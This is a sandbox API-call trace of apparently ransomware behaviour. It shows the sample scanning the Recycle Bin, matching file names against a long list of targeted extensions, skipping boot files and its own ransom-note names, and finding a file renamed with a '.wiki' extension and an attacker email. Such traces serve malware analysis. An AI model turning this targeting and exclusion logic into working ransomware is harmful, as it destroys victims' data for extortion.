lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 62 [0147.795] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 1 [0147.795] lstrlenW (lpString="S-1-5-21-3388679973-3930757225-3770151564-1000") returned 46 [0147.795] lstrcmpiW (lpString1="C:\\Windows", lpString2="S-1-5-21-3388679973-3930757225-3770151564-1000") returned -1 [0147.795] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xfffe) returned 0x3bb04c0 [0147.795] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 62 [0147.795] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*", lpFindFileData=0x365f808 | out: lpFindFileData=0x365f808*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc97745a0, ftLastAccessTime.dwHighDateTime=0x1d595b2, ftLastWriteTime.dwLowDateTime=0xc97745a0, ftLastWriteTime.dwHighDateTime=0x1d595b2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6a2d40 [0147.795] FindNextFileW (in: hFindFile=0x6a2d40, lpFindFileData=0x365f808 | out: lpFindFileData=0x365f808*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc97745a0, ftLastAccessTime.dwHighDateTime=0x1d595b2, ftLastWriteTime.dwLowDateTime=0xc97745a0, ftLastWriteTime.dwHighDateTime=0x1d595b2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0147.795] FindNextFileW (in: hFindFile=0x6a2d40, lpFindFileData=0x365f808 | out: lpFindFileData=0x365f808*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc97745a0, ftCreationTime.dwHighDateTime=0x1d595b2, ftLastAccessTime.dwLowDateTime=0xc97745a0, ftLastAccessTime.dwHighDateTime=0x1d595b2, ftLastWriteTime.dwLowDateTime=0xc97745a0, ftLastWriteTime.dwHighDateTime=0x1d595b2, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0147.795] lstrlenW (lpString="desktop.ini") returned 11 [0147.795] lstrlenW (lpString=".1cd") returned 4 [0147.796] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0147.796] lstrlenW (lpString=".3ds") returned 4 [0147.796] lstrcmpiW (lpString1=".3ds", lpString2=".ini") returned -1 [0147.796] lstrlenW (lpString=".3fr") returned 4 [0147.796] lstrcmpiW (lpString1=".3fr", lpString2=".ini") returned -1 [0147.796] lstrlenW (lpString=".3g2") returned 4 [0147.796] lstrcmpiW (lpString1=".3g2", lpString2=".ini") returned -1 [0147.796] lstrlenW (lpString=".3gp") returned 4 [0147.796] lstrcmpiW (lpString1=".3gp", lpString2=".ini") returned -1 [0147.796] lstrlenW (lpString=".7z") returned 3 [0147.796] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0147.796] lstrlenW (lpString=".accda") returned 6 [0147.796] lstrcmpiW (lpString1=".accda", lpString2="op.ini") returned -1 [0147.796] lstrlenW (lpString=".accdb") returned 6 [0147.796] lstrcmpiW (lpString1=".accdb", lpString2="op.ini") returned -1 [0147.796] lstrlenW (lpString=".accdc") returned 6 [0147.796] lstrcmpiW (lpString1=".accdc", lpString2="op.ini") returned -1 [0147.796] lstrlenW (lpString=".accde") returned 6 [0147.796] lstrcmpiW (lpString1=".accde", lpString2="op.ini") returned -1 [0147.796] lstrlenW (lpString=".accdt") returned 6 [0147.796] lstrcmpiW (lpString1=".accdt", lpString2="op.ini") returned -1 [0147.796] lstrlenW (lpString=".accdw") returned 6 [0147.796] lstrcmpiW (lpString1=".accdw", lpString2="op.ini") returned -1 [0147.796] lstrlenW (lpString=".adb") returned 4 [0147.796] lstrcmpiW (lpString1=".adb", lpString2=".ini") returned -1 [0147.796] lstrlenW (lpString=".adp") returned 4 [0147.796] lstrcmpiW (lpString1=".adp", lpString2=".ini") returned -1 [0147.796] lstrlenW (lpString=".ai") returned 3 [0147.796] lstrcmpiW (lpString1=".ai", lpString2="ini") returned -1 [0147.796] lstrlenW (lpString=".ai3") returned 4 [0147.796] lstrcmpiW (lpString1=".ai3", lpString2=".ini") returned -1 [0147.796] lstrlenW (lpString=".ai4") returned 4 [0147.797] lstrcmpiW (lpString1=".ai4", lpString2=".ini") returned -1 [0147.797] lstrlenW (lpString=".ai5") returned 4 [0147.797] lstrcmpiW (lpString1=".ai5", lpString2=".ini") returned -1 [0147.797] lstrlenW (lpString=".ai6") returned 4 [0147.797] lstrcmpiW (lpString1=".ai6", lpString2=".ini") returned -1 [0147.797] lstrlenW (lpString=".ai7") returned 4 [0147.797] lstrcmpiW (lpString1=".ai7", lpString2=".ini") returned -1 [0147.797] lstrlenW (lpString=".ai8") returned 4 [0147.797] lstrcmpiW (lpString1=".ai8", lpString2=".ini") returned -1 [0147.797] lstrlenW (lpString=".anim") returned 5 [0147.797] lstrcmpiW (lpString1=".anim", lpString2="p.ini") returned -1 [0147.797] lstrlenW (lpString=".arw") returned 4 [0147.797] lstrcmpiW (lpString1=".arw", lpString2=".ini") returned -1 [0147.797] lstrlenW (lpString=".as") returned 3 [0147.797] lstrcmpiW (lpString1=".as", lpString2="ini") returned -1 [0147.797] lstrlenW (lpString=".asa") returned 4 [0147.797] lstrcmpiW (lpString1=".asa", lpString2=".ini") returned -1 [0147.797] lstrlenW (lpString=".asc") returned 4 [0147.797] lstrcmpiW (lpString1=".asc", lpString2=".ini") returned -1 [0147.797] lstrlenW (lpString=".ascx") returned 5 [0147.797] lstrcmpiW (lpString1=".ascx", lpString2="p.ini") returned -1 [0147.797] lstrlenW (lpString=".asm") returned 4 [0147.798] lstrcmpiW (lpString1=".asm", lpString2=".ini") returned -1 [0147.798] lstrlenW (lpString=".asmx") returned 5 [0147.798] lstrcmpiW (lpString1=".asmx", lpString2="p.ini") returned -1 [0147.798] lstrlenW (lpString=".asp") returned 4 [0147.798] lstrcmpiW (lpString1=".asp", lpString2=".ini") returned -1 [0147.798] lstrlenW (lpString=".aspx") returned 5 [0147.798] lstrcmpiW (lpString1=".aspx", lpString2="p.ini") returned -1 [0147.798] lstrlenW (lpString=".asr") returned 4 [0147.798] lstrcmpiW (lpString1=".asr", lpString2=".ini") returned -1 [0147.798] lstrlenW (lpString=".asx") returned 4 [0147.798] lstrcmpiW (lpString1=".asx", lpString2=".ini") returned -1 [0147.798] lstrlenW (lpString=".avi") returned 4 [0147.798] lstrcmpiW (lpString1=".avi", lpString2=".ini") returned -1 [0147.798] lstrlenW (lpString=".avs") returned 4 [0147.798] lstrcmpiW (lpString1=".avs", lpString2=".ini") returned -1 [0147.798] lstrlenW (lpString=".backup") returned 7 [0147.798] lstrcmpiW (lpString1=".backup", lpString2="top.ini") returned -1 [0147.798] lstrlenW (lpString=".bak") returned 4 [0147.798] lstrcmpiW (lpString1=".bak", lpString2=".ini") returned -1 [0147.798] lstrlenW (lpString=".bay") returned 4 [0147.798] lstrcmpiW (lpString1=".bay", lpString2=".ini") returned -1 [0147.798] lstrlenW (lpString=".bd") returned 3 [0147.798] lstrcmpiW (lpString1=".bd", lpString2="ini") returned -1 [0147.798] lstrlenW (lpString=".bin") returned 4 [0147.798] lstrcmpiW (lpString1=".bin", lpString2=".ini") returned -1 [0147.798] lstrlenW (lpString=".bmp") returned 4 [0147.798] lstrcmpiW (lpString1=".bmp", lpString2=".ini") returned -1 [0147.798] lstrlenW (lpString=".bz2") returned 4 [0147.798] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0147.798] lstrlenW (lpString=".c") returned 2 [0147.798] lstrcmpiW (lpString1=".c", lpString2="ni") returned -1 [0147.798] lstrlenW (lpString=".cdr") returned 4 [0147.798] lstrcmpiW (lpString1=".cdr", lpString2=".ini") returned -1 [0147.798] lstrlenW (lpString=".cer") returned 4 [0147.799] lstrcmpiW (lpString1=".cer", lpString2=".ini") returned -1 [0147.799] lstrlenW (lpString=".cf") returned 3 [0147.799] lstrcmpiW (lpString1=".cf", lpString2="ini") returned -1 [0147.799] lstrlenW (lpString=".cfc") returned 4 [0147.799] lstrcmpiW (lpString1=".cfc", lpString2=".ini") returned -1 [0147.799] lstrlenW (lpString=".cfm") returned 4 [0147.799] lstrcmpiW (lpString1=".cfm", lpString2=".ini") returned -1 [0147.799] lstrlenW (lpString=".cfml") returned 5 [0147.799] lstrcmpiW (lpString1=".cfml", lpString2="p.ini") returned -1 [0147.799] lstrlenW (lpString=".cfu") returned 4 [0147.799] lstrcmpiW (lpString1=".cfu", lpString2=".ini") returned -1 [0147.799] lstrlenW (lpString=".chm") returned 4 [0147.799] lstrcmpiW (lpString1=".chm", lpString2=".ini") returned -1 [0147.799] lstrlenW (lpString=".cin") returned 4 [0147.799] lstrcmpiW (lpString1=".cin", lpString2=".ini") returned -1 [0147.799] lstrlenW (lpString=".class") returned 6 [0147.799] lstrcmpiW (lpString1=".class", lpString2="op.ini") returned -1 [0147.799] lstrlenW (lpString=".clx") returned 4 [0147.799] lstrcmpiW (lpString1=".clx", lpString2=".ini") returned -1 [0147.799] lstrlenW (lpString=".config") returned 7 [0147.799] lstrcmpiW (lpString1=".config", lpString2="top.ini") returned -1 [0147.799] lstrlenW (lpString=".cpp") returned 4 [0147.799] lstrcmpiW (lpString1=".cpp", lpString2=".ini") returned -1 [0147.799] lstrlenW (lpString=".cr2") returned 4 [0147.799] lstrcmpiW (lpString1=".cr2", lpString2=".ini") returned -1 [0147.799] lstrlenW (lpString=".crt") returned 4 [0147.799] lstrcmpiW (lpString1=".crt", lpString2=".ini") returned -1 [0147.799] lstrlenW (lpString=".crw") returned 4 [0147.799] lstrcmpiW (lpString1=".crw", lpString2=".ini") returned -1 [0147.799] lstrlenW (lpString=".cs") returned 3 [0147.799] lstrcmpiW (lpString1=".cs", lpString2="ini") returned -1 [0147.799] lstrlenW (lpString=".css") returned 4 [0147.799] lstrcmpiW (lpString1=".css", lpString2=".ini") returned -1 [0147.799] lstrlenW (lpString=".csv") returned 4 [0147.800] lstrcmpiW (lpString1=".csv", lpString2=".ini") returned -1 [0147.800] lstrlenW (lpString=".cub") returned 4 [0147.800] lstrcmpiW (lpString1=".cub", lpString2=".ini") returned -1 [0147.800] lstrlenW (lpString=".dae") returned 4 [0147.800] lstrcmpiW (lpString1=".dae", lpString2=".ini") returned -1 [0147.800] lstrlenW (lpString=".dat") returned 4 [0147.800] lstrcmpiW (lpString1=".dat", lpString2=".ini") returned -1 [0147.800] lstrlenW (lpString=".db") returned 3 [0147.800] lstrcmpiW (lpString1=".db", lpString2="ini") returned -1 [0147.800] lstrlenW (lpString=".dbf") returned 4 [0147.800] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0147.800] lstrlenW (lpString=".dbx") returned 4 [0147.800] lstrcmpiW (lpString1=".dbx", lpString2=".ini") returned -1 [0147.800] lstrlenW (lpString=".dc3") returned 4 [0147.800] lstrcmpiW (lpString1=".dc3", lpString2=".ini") returned -1 [0147.800] lstrlenW (lpString=".dcm") returned 4 [0147.800] lstrcmpiW (lpString1=".dcm", lpString2=".ini") returned -1 [0147.800] lstrlenW (lpString=".dcr") returned 4 [0147.800] lstrcmpiW (lpString1=".dcr", lpString2=".ini") returned -1 [0147.800] lstrlenW (lpString=".der") returned 4 [0147.800] lstrcmpiW (lpString1=".der", lpString2=".ini") returned -1 [0147.800] lstrlenW (lpString=".dib") returned 4 [0147.800] lstrcmpiW (lpString1=".dib", lpString2=".ini") returned -1 [0147.800] lstrlenW (lpString=".dic") returned 4 [0147.800] lstrcmpiW (lpString1=".dic", lpString2=".ini") returned -1 [0147.800] lstrlenW (lpString=".dif") returned 4 [0147.800] lstrcmpiW (lpString1=".dif", lpString2=".ini") returned -1 [0147.800] lstrlenW (lpString=".divx") returned 5 [0147.800] lstrcmpiW (lpString1=".divx", lpString2="p.ini") returned -1 [0147.800] lstrlenW (lpString=".djvu") returned 5 [0147.800] lstrcmpiW (lpString1=".djvu", lpString2="p.ini") returned -1 [0147.800] lstrlenW (lpString=".dng") returned 4 [0147.800] lstrcmpiW (lpString1=".dng", lpString2=".ini") returned -1 [0147.800] lstrlenW (lpString=".doc") returned 4 [0147.801] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0147.801] lstrlenW (lpString=".docm") returned 5 [0147.801] lstrcmpiW (lpString1=".docm", lpString2="p.ini") returned -1 [0147.801] lstrlenW (lpString=".docx") returned 5 [0147.801] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0147.801] lstrlenW (lpString=".dot") returned 4 [0147.801] lstrcmpiW (lpString1=".dot", lpString2=".ini") returned -1 [0147.801] lstrlenW (lpString=".dotm") returned 5 [0147.801] lstrcmpiW (lpString1=".dotm", lpString2="p.ini") returned -1 [0147.801] lstrlenW (lpString=".dotx") returned 5 [0147.801] lstrcmpiW (lpString1=".dotx", lpString2="p.ini") returned -1 [0147.801] lstrlenW (lpString=".dpx") returned 4 [0147.801] lstrcmpiW (lpString1=".dpx", lpString2=".ini") returned -1 [0147.801] lstrlenW (lpString=".dqy") returned 4 [0147.801] lstrcmpiW (lpString1=".dqy", lpString2=".ini") returned -1 [0147.801] lstrlenW (lpString=".dsn") returned 4 [0147.801] lstrcmpiW (lpString1=".dsn", lpString2=".ini") returned -1 [0147.801] lstrlenW (lpString=".dt") returned 3 [0147.801] lstrcmpiW (lpString1=".dt", lpString2="ini") returned -1 [0147.801] lstrlenW (lpString=".dtd") returned 4 [0147.801] lstrcmpiW (lpString1=".dtd", lpString2=".ini") returned -1 [0147.801] lstrlenW (lpString=".dwg") returned 4 [0147.801] lstrcmpiW (lpString1=".dwg", lpString2=".ini") returned -1 [0147.801] lstrlenW (lpString=".dwt") returned 4 [0147.801] lstrcmpiW (lpString1=".dwt", lpString2=".ini") returned -1 [0147.801] lstrlenW (lpString=".dx") returned 3 [0147.801] lstrcmpiW (lpString1=".dx", lpString2="ini") returned -1 [0147.801] lstrlenW (lpString=".dxf") returned 4 [0147.801] lstrcmpiW (lpString1=".dxf", lpString2=".ini") returned -1 [0147.801] lstrlenW (lpString=".edml") returned 5 [0147.801] lstrcmpiW (lpString1=".edml", lpString2="p.ini") returned -1 [0147.801] lstrlenW (lpString=".efd") returned 4 [0147.801] lstrcmpiW (lpString1=".efd", lpString2=".ini") returned -1 [0147.802] lstrlenW (lpString=".elf") returned 4 [0147.802] lstrcmpiW (lpString1=".elf", lpString2=".ini") returned -1 [0147.802] lstrlenW (lpString=".emf") returned 4 [0147.802] lstrcmpiW (lpString1=".emf", lpString2=".ini") returned -1 [0147.802] lstrlenW (lpString=".emz") returned 4 [0147.802] lstrcmpiW (lpString1=".emz", lpString2=".ini") returned -1 [0147.802] lstrlenW (lpString=".epf") returned 4 [0147.802] lstrcmpiW (lpString1=".epf", lpString2=".ini") returned -1 [0147.802] lstrlenW (lpString=".eps") returned 4 [0147.802] lstrcmpiW (lpString1=".eps", lpString2=".ini") returned -1 [0147.802] lstrlenW (lpString=".epsf") returned 5 [0147.802] lstrcmpiW (lpString1=".epsf", lpString2="p.ini") returned -1 [0147.802] lstrlenW (lpString=".epsp") returned 5 [0147.802] lstrcmpiW (lpString1=".epsp", lpString2="p.ini") returned -1 [0147.802] lstrlenW (lpString=".erf") returned 4 [0147.802] lstrcmpiW (lpString1=".erf", lpString2=".ini") returned -1 [0147.802] lstrlenW (lpString=".exr") returned 4 [0147.802] lstrcmpiW (lpString1=".exr", lpString2=".ini") returned -1 [0147.802] lstrlenW (lpString=".f4v") returned 4 [0147.802] lstrcmpiW (lpString1=".f4v", lpString2=".ini") returned -1 [0147.802] lstrlenW (lpString=".fido") returned 5 [0147.802] lstrcmpiW (lpString1=".fido", lpString2="p.ini") returned -1 [0147.802] lstrlenW (lpString=".flm") returned 4 [0147.802] lstrcmpiW (lpString1=".flm", lpString2=".ini") returned -1 [0147.802] lstrlenW (lpString=".flv") returned 4 [0147.802] lstrcmpiW (lpString1=".flv", lpString2=".ini") returned -1 [0147.802] lstrlenW (lpString=".frm") returned 4 [0147.802] lstrcmpiW (lpString1=".frm", lpString2=".ini") returned -1 [0147.802] lstrlenW (lpString=".fxg") returned 4 [0147.802] lstrcmpiW (lpString1=".fxg", lpString2=".ini") returned -1 [0147.802] lstrlenW (lpString=".geo") returned 4 [0147.803] lstrcmpiW (lpString1=".geo", lpString2=".ini") returned -1 [0147.803] lstrlenW (lpString=".gif") returned 4 [0147.803] lstrcmpiW (lpString1=".gif", lpString2=".ini") returned -1 [0147.803] lstrlenW (lpString=".grs") returned 4 [0147.803] lstrcmpiW (lpString1=".grs", lpString2=".ini") returned -1 [0147.803] lstrlenW (lpString=".gz") returned 3 [0147.803] lstrcmpiW (lpString1=".gz", lpString2="ini") returned -1 [0147.803] lstrlenW (lpString=".h") returned 2 [0147.803] lstrcmpiW (lpString1=".h", lpString2="ni") returned -1 [0147.803] lstrlenW (lpString=".hdr") returned 4 [0147.803] lstrcmpiW (lpString1=".hdr", lpString2=".ini") returned -1 [0147.803] lstrlenW (lpString=".hpp") returned 4 [0147.803] lstrcmpiW (lpString1=".hpp", lpString2=".ini") returned -1 [0147.803] lstrlenW (lpString=".hta") returned 4 [0147.803] lstrcmpiW (lpString1=".hta", lpString2=".ini") returned -1 [0147.803] lstrlenW (lpString=".htc") returned 4 [0147.803] lstrcmpiW (lpString1=".htc", lpString2=".ini") returned -1 [0147.803] lstrlenW (lpString=".htm") returned 4 [0147.803] lstrcmpiW (lpString1=".htm", lpString2=".ini") returned -1 [0147.803] lstrlenW (lpString=".html") returned 5 [0147.803] lstrcmpiW (lpString1=".html", lpString2="p.ini") returned -1 [0147.803] lstrlenW (lpString=".icb") returned 4 [0147.803] lstrcmpiW (lpString1=".icb", lpString2=".ini") returned -1 [0147.803] lstrlenW (lpString=".ics") returned 4 [0147.804] lstrcmpiW (lpString1=".ics", lpString2=".ini") returned -1 [0147.804] lstrlenW (lpString=".iff") returned 4 [0147.804] lstrcmpiW (lpString1=".iff", lpString2=".ini") returned -1 [0147.804] lstrlenW (lpString=".inc") returned 4 [0147.804] lstrcmpiW (lpString1=".inc", lpString2=".ini") returned -1 [0147.804] lstrlenW (lpString=".indd") returned 5 [0147.804] lstrcmpiW (lpString1=".indd", lpString2="p.ini") returned -1 [0147.804] lstrlenW (lpString=".ini") returned 4 [0147.804] lstrcmpiW (lpString1=".ini", lpString2=".ini") returned 0 [0147.804] lstrlenW (lpString="desktop.ini") returned 11 [0147.804] lstrlenW (lpString=".wiki") returned 5 [0147.804] lstrcmpiW (lpString1=".wiki", lpString2="p.ini") returned -1 [0147.804] lstrlenW (lpString="desktop.ini") returned 11 [0147.804] lstrcmpiW (lpString1="boot.ini", lpString2="desktop.ini") returned -1 [0147.804] lstrcmpiW (lpString1="bootfont.bin", lpString2="desktop.ini") returned -1 [0147.804] lstrcmpiW (lpString1="ntldr", lpString2="desktop.ini") returned 1 [0147.804] lstrcmpiW (lpString1="ntdetect.com", lpString2="desktop.ini") returned 1 [0147.804] lstrcmpiW (lpString1="io.sys", lpString2="desktop.ini") returned 1 [0147.804] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="desktop.ini") returned 1 [0147.804] lstrcmpiW (lpString1="Info.hta", lpString2="desktop.ini") returned 1 [0147.804] lstrcmpiW (lpString1="n.exe", lpString2="desktop.ini") returned 1 [0147.804] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0147.804] FindNextFileW (in: hFindFile=0x6a2d40, lpFindFileData=0x365f808 | out: lpFindFileData=0x365f808*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x9e3fe310, ftCreationTime.dwHighDateTime=0x1d595b2, ftLastAccessTime.dwLowDateTime=0x9e3fe310, ftLastAccessTime.dwHighDateTime=0x1d595b2, ftLastWriteTime.dwLowDateTime=0x9e424470, ftLastWriteTime.dwHighDateTime=0x1d595b2, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini.id-9C354B42.[bitlocker@foxmail.com ].wiki", cAlternateFileName="DESKTO~1.WIK")) returned 1 [0147.804] lstrlenW (lpString="desktop.ini.id-9C354B42.[bitlocker@foxmail.com ].wiki") returned 53 [0147.804] lstrlenW (lpString=".1cd") returned 4 [0147.804] lstrcmpiW (lpString1=".1cd", lpString2="wiki") returned -1 [0147.804] lstrlenW (lpString=".3ds") returned 4 [0147.804] lstrcmpiW (lpString1=".3ds", lpString2="wiki") returned -1 [0147.804] lstrlenW (lpString=".3fr") returned 4 [0147.805] lstrcmpiW (lpString1=".3fr", lpString2="wiki") returned -1 [0147.805] lstrlenW (lpString=".3g2") returned 4 [0147.805] lstrcmpiW (lpString1=".3g2", lpString2="wiki") returned -1 [0147.805] lstrlenW (lpString=".3gp") returned 4 [0147.805] lstrcmpiW (lpString1=".3gp", lpString2="wiki") returned -1 [0147.805] lstrlenW (lpString=".7z") returned 3 [0147.805] lstrcmpiW (lpString1=".7z", lpString2="iki") returned -1 [0147.805] lstrlenW (lpString=".accda") returned 6 [0147.805] lstrcmpiW (lpString1=".accda", lpString2="].wiki") returned -1 [0147.805] lstrlenW (lpString=".accdb") returned 6 [0147.805] lstrcmpiW (lpString1=".accdb", lpString2="].wiki") returned -1 [0147.805] lstrlenW (lpString=".accdc") returned 6 [0147.805] lstrcmpiW (lpString1=".accdc", lpString2="].wiki") returned -1 [0147.805] lstrlenW (lpString=".accde") returned 6 [0147.805] lstrcmpiW (lpString1=".accde", lpString2="].wiki") returned -1 [0147.805] lstrlenW (lpString=".accdt") returned 6 [0147.805] lstrcmpiW (lpString1=".accdt", lpString2="].wiki") returned -1 [0147.805] lstrlenW (lpString=".accdw") returned 6 [0147.805] lstrcmpiW (lpString1=".accdw", lpString2="].wiki") returned -1 [0147.805] lstrlenW (lpString=".adb") returned 4 [0147.805] lstrcmpiW (lpString1=".adb", lpString2="wiki") returned -1 [0147.805] lstrlenW (lpString=".adp") returned 4 [0147.805] lstrcmpiW (lpString1=".adp", lpString2="wiki") returned -1 [0147.805] lstrlenW (lpString=".ai") returned 3 [0147.805] lstrcmpiW (lpString1=".ai", lpString2="iki") returned -1 [0147.805] lstrlenW (lpString=".ai3") returned 4 [0147.805] lstrcmpiW (lpString1=".ai3", lpString2="wiki") returned -1 [0147.805] lstrlenW (lpString=".ai4") returned 4 [0147.805] lstrcmpiW (lpString1=".ai4", lpString2="wiki") returned -1 [0147.805] lstrlenW (lpString=".ai5") returned 4 [0147.805] lstrcmpiW (lpString1=".ai5", lpString2="wiki") returned -1 [0147.806] lstrlenW (lpString=".ai6") returned 4 [0147.806] lstrcmpiW (lpString1=".ai6", lpString2="wiki") returned -1 [0147.806] lstrlenW (lpString=".ai7") returned 4 [0147.806] lstrcmpiW (lpString1=".ai7", lpString2="wiki") returned -1 [0147.806] lstrlenW (lpString=".ai8") returned 4 [0147.806] lstrcmpiW (lpString1=".ai8", lpString2="wiki") returned -1 [0147.806] lstrlenW (lpString=".anim") returned 5 [0147.806] lstrcmpiW (lpString1=".anim", lpString2=".wiki") returned -1 [0147.806] lstrlenW (lpString=".arw") returned 4 [0147.806] lstrcmpiW (lpString1=".arw", lpString2="wiki") returned -1 [0147.806] lstrlenW (lpString=".as") returned 3 [0147.806] lstrcmpiW (lpString1=".as", lpString2="iki") returned -1 [0147.806] lstrlenW (lpString=".asa") returned 4 [0147.806] lstrcmpiW (lpString1=".asa", lpString2="wiki") returned -1 [0147.806] lstrlenW (lpString=".asc") returned 4 [0147.806] lstrcmpiW (lpString1=".asc", lpString2="wiki") returned -1 [0147.806] lstrlenW (lpString=".ascx") returned 5 [0147.806] lstrcmpiW (lpString1=".ascx", lpString2=".wiki") returned -1 [0147.806] lstrlenW (lpString=".asm") returned 4 [0147.806] lstrcmpiW (lpString1=".asm", lpString2="wiki") returned -1 [0147.806] lstrlenW (lpString=".asmx") returned 5 [0147.806] lstrcmpiW (lpString1=".asmx", lpString2=".wiki") returned -1 [0147.806] lstrlenW (lpString=".asp") returned 4 [0147.806] lstrcmpiW (lpString1=".asp", lpString2="wiki") returned -1 [0147.806] lstrlenW (lpString=".aspx") returned 5 [0147.806] lstrcmpiW (lpString1=".aspx", lpString2=".wiki") returned -1 [0147.806] lstrlenW (lpString=".asr") returned 4 [0147.806] lstrcmpiW (lpString1=".asr", lpString2="wiki") returned -1 [0147.806] lstrlenW (lpString=".asx") returned 4 [0147.806] lstrcmpiW (lpString1=".asx", lpString2="wiki") returned -1 [0147.806] lstrlenW (lpString=".avi") returned 4 [0147.806] lstrcmpiW (lpString1=".avi", lpString2="wiki") returned -1 [0147.806] lstrlenW (lpString=".avs") returned 4 [0147.807] lstrcmpiW (lpString1=".avs", lpString2="wiki") returned -1 [0147.807] lstrlenW (lpString=".backup") returned 7 [0147.807] lstrcmpiW (lpString1=".backup", lpString2=" ].wiki") returned 1 [0147.807] lstrlenW (lpString=".bak") returned 4 [0147.807] lstrcmpiW (lpString1=".bak", lpString2="wiki") returned -1 [0147.807] lstrlenW (lpString=".bay") returned 4 [0147.807] lstrcmpiW (lpString1=".bay", lpString2="wiki") returned -1 [0147.807] lstrlenW (lpString=".bd") returned 3 [0147.807] lstrcmpiW (lpString1=".bd", lpString2="iki") returned -1 [0147.807] lstrlenW (lpString=".bin") returned 4 [0147.807] lstrcmpiW (lpString1=".bin", lpString2="wiki") returned -1 [0147.807] lstrlenW (lpString=".bmp") returned 4 [0147.807] lstrcmpiW (lpString1=".bmp", lpString2="wiki") returned -1 [0147.807] lstrlenW (lpString=".bz2") returned 4 [0147.807] lstrcmpiW (lpString1=".bz2", lpString2="wiki") returned -1 [0147.807] lstrlenW (lpString=".c") returned 2 [0147.807] lstrcmpiW (lpString1=".c", lpString2="ki") returned -1 [0147.807] lstrlenW (lpString=".cdr") returned 4 [0147.807] lstrcmpiW (lpString1=".cdr", lpString2="wiki") returned -1 [0147.807] lstrlenW (lpString=".cer") returned 4 [0147.807] lstrcmpiW (lpString1=".cer", lpString2="wiki") returned -1 [0147.807] lstrlenW (lpString=".cf") returned 3 [0147.807] lstrcmpiW (lpString1=".cf", lpString2="iki") returned -1 [0147.807] lstrlenW (lpString=".cfc") returned 4 [0147.807] lstrcmpiW (lpString1=".cfc", lpString2="wiki") returned -1 [0147.807] lstrlenW (lpString=".cfm") returned 4 [0147.807] lstrcmpiW (lpString1=".cfm", lpString2="wiki") returned -1 [0147.807] lstrlenW (lpString=".cfml") returned 5 [0147.807] lstrcmpiW (lpString1=".cfml", lpString2=".wiki") returned -1 [0147.807] lstrlenW (lpString=".cfu") returned 4 [0147.807] lstrcmpiW (lpString1=".cfu", lpString2="wiki") returned -1 [0147.807] lstrlenW (lpString=".chm") returned 4 [0147.807] lstrcmpiW (lpString1=".chm", lpString2="wiki") returned -1 [0147.808] lstrlenW (lpString=".cin") returned 4 [0147.808] lstrcmpiW (lpString1=".cin", lpString2="wiki") returned -1 [0147.808] lstrlenW (lpString=".class") returned 6 [0147.808] lstrcmpiW (lpString1=".class", lpString2="].wiki") returned -1 [0147.808] lstrlenW (lpString=".clx") returned 4 [0147.808] lstrcmpiW (lpString1=".clx", lpString2="wiki") returned -1 [0147.808] lstrlenW (lpString=".config") returned 7 [0147.808] lstrcmpiW (lpString1=".config", lpString2=" ].wiki") returned 1 [0147.808] lstrlenW (lpString=".cpp") returned 4 [0147.808] lstrcmpiW (lpString1=".cpp", lpString2="wiki") returned -1 [0147.808] lstrlenW (lpString=".cr2") returned 4 [0147.808] lstrcmpiW (lpString1=".cr2", lpString2="wiki") returned -1 [0147.808] lstrlenW (lpString=".crt") returned 4 [0147.808] lstrcmpiW (lpString1=".crt", lpString2="wiki") returned -1 [0147.808] lstrlenW (lpString=".crw") returned 4 [0147.808] lstrcmpiW (lpString1=".crw", lpString2="wiki") returned -1 [0147.808] lstrlenW (lpString=".cs") returned 3 [0147.808] lstrcmpiW (lpString1=".cs", lpString2="iki") returned -1 [0147.808] lstrlenW (lpString=".css") returned 4 [0147.808] lstrcmpiW (lpString1=".css", lpString2="wiki") returned -1 [0147.808] lstrlenW (lpString=".csv") returned 4 [0147.808] lstrcmpiW (lpString1=".csv", lpString2="wiki") returned -1 [0147.808] lstrlenW (lpString=".cub") returned 4 [0147.808] lstrcmpiW (lpString1=".cub", lpString2="wiki") returned -1 [0147.808] lstrlenW (lpString=".dae") returned 4 [0147.808] lstrcmpiW (lpString1=".dae", lpString2="wiki") returned -1 [0147.808] lstrlenW (lpString=".dat") returned 4 [0147.808] lstrcmpiW (lpString1=".dat", lpString2="wiki") returned -1 [0147.808] lstrlenW (lpString=".db") returned 3 [0147.808] lstrcmpiW (lpString1=".db", lpString2="iki") returned -1 [0147.810] lstrlenW (lpString=".dbf") returned 4 [0147.810] lstrcmpiW (lpString1=".dbf", lpString2="wiki") returned -1 [0147.810] lstrlenW (lpString=".dbx") returned 4 [0147.810] lstrcmpiW (lpString1=".dbx", lpString2="wiki") returned -1 [0147.810] lstrlenW (lpString=".dc3") returned 4 [0147.810] lstrcmpiW 